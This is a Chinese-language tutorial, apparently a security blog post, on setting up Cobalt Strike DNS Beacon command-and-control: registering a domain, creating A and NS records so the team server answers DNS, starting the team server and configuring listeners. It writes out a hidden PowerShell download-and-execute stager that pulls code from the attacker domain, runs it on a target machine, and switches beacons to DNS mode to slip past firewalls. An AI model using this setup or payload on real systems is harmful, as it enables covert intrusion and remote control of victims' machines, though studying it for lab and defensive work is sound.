我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

    • 一、DNS Beacon原理
      • 1、DNS Beacon简介
      • 2、DSN Beacon工作原理
    • 二、DNS Beacon实战测试
      • 1、实战测试前提
      • 2、实战测试过程

一、DNS Beacon原理

1、DNS Beacon简介

(1)DNS 木马优缺点
dns木马因为隐蔽性好,在受害者不会开放任何端口的时候可以规避防火墙协议,因为走的是53端口 (服务器),防火墙不会拦截,缺点响应慢。

(2)DNS Beacon的类型
windows/beacon_dns/reserve_http (传输数据小)
有效载荷通过HTTP连接分阶段。当您创建此侦听器时,请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时,Cobalt Strike在端口53上站起来的DNS服务器。

windows/beacon_dns/reverse_dns_txt (传输数据大)
有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时,请注意,您正在配置该有效负载将用于HTTP通信的端口。再次,Cobalt Strike知道在53端口站起来一个DNS服务器。

beacon_dns/reserve_http(支持命令切换到该模式:mode dns)
将http通信方式,改为了使用dns的a记录方式进行通信。速度较慢,但非常隐蔽,推荐使用!

beacon_dns/reserve_dns_txt(支持命令切换到该模式:mode dns-txt)
同上,只是改为使用dns的txt方式进行通信,传输的数据量更大,推荐使用!

2、DSN Beacon工作原理

(1)流程图

从上图中可以看到,当我们给CS的team server搞了一个域名并配置相应的A记录以及指向自身A记录的NS记录后,DNS请求就会被迭代查询的本地DNS服务器一步一步引向team server,team server收到了服务端的特殊请求后便可以用封装的加密通信协议与之交互了。
//A记录:用来指定主机名或者是域名对应的IP地址记录。是DNS服务器中告诉用户该域名指向哪个IP地址的记录。
//NS记录:是域名服务器记录,用来指定由哪台服务器对该域名进行解析

(2)具体分析:当靶机在运行了payload后,会对域名123456.ns1.clqwsn.xyz进行解析

  1. 靶机首先会去查询本地的hosts文件是否存在123456.ns1.clqwsn.xyz的记录,若没有则返回;
  2. 靶机接着从本地DNS服务器查询,若本地DNS服务器的缓存中没有记录,则会开始进行迭代查询;
  3. 本地DNS服务器首先会向根域名服务器发起询问,问你知道123456.ns1.clqwsn.xyz吗,然而根域服务器说”我不知道,但是.xyz服务器可能会知道”;
  4. 本地DNS服务器接着去问.xyz服务器, .xyz服务器说:”我也不知道,但是clqwsn.xyz服务器可能会知道;
  5. 本地DNS服务器再去问clqwsn.xyz服务器,clqwsn.xyz服务器又说:”我同样不知道,ns1.clqwsn.xyz服务器可能会知道;
  6. 最终本地DNS服务器访问了ns1.clqwsn.xyz域名服务器,但是ns1.clqwsn.xyz的ns记录指向了cs.clqwsn.xyz域名服务器, 该cs.clqwsn.xyz是我们的team server服务器,team server开启了53服务并查询到了123456.ns1.clqwsn.xyz的响应值, 随后ns1.clqwsn.xyz服务器将响应值返回给本地DNS服务器,本地DNS服务器再返回给靶机。

二、DNS Beacon实战测试

1、实战测试前提

(1)一台virmach购买的公网VPS:x.x.x.x


(2)一个godaddy申请的域名:clqwsn.xyz

第一步:在域名管理处,创建一个A记录指向我们的公网team server主机,即cs.clqwsn.xyz 指向 x.x.x.x;

第二步:创建两个ns记录(NS记录是指定由哪个DNS服务器解析你的域名)指向自身的A记录【让自己充当dns服务器】, 即分别是ns1.clqwsn.xyz和ns2.clqwsn.xyz指向cs.clqwsn.xyz。

//如下图所示:

2、实战测试过程

(1)公网主机开启team server:./teamserver x.x.x.x 123456
//如下图所示:x.x.x.x是我们的公网vps的IP

(2)真机充当攻击者团队成员,去连接team server:双击cobaltstrike.bat

(3)创建监听器,开启team server的侦听
//如下图所示:此处host填写公网IP对应的域名cs.clqwn.xyz

//如下图所示:传输地址填写ns1.clqwsn.xyz,ns2.clqwsn.xyz

(4)nslookup测试dns服务:nslookup 123456.ns1.clqwsn.xyz
//如下图所示:只要监听器配置正确,则会返回非权威回答的0.0.0.0,若没有配置或不正确则会显示超时。

(5)dig +trace测试dns服务:
//如下图所示:该命令其实是想知道完整的域名迭代查询过程

(6)生成payload攻击载荷:脚本web传递
//如下图所示:host填写cs.clqwsn.xyz

//如下图所示:保存下来payloadpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"

(7)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs.clqwsn.xyz:80/a'))"

//如下图所示:我们在靶机运行后,在cs的web日志和视图可以看到靶机已上线

(8)靶机上线后,右键视图下的靶机,单击beacon,进入beacon,执行checkin强制被控端回连(受害人主动请求)
//如下图所示:我们需要等待一会

//如下图所示:等待一两分钟后,靶机上线

(9)转换协议:mode [http | dns | dns-txt]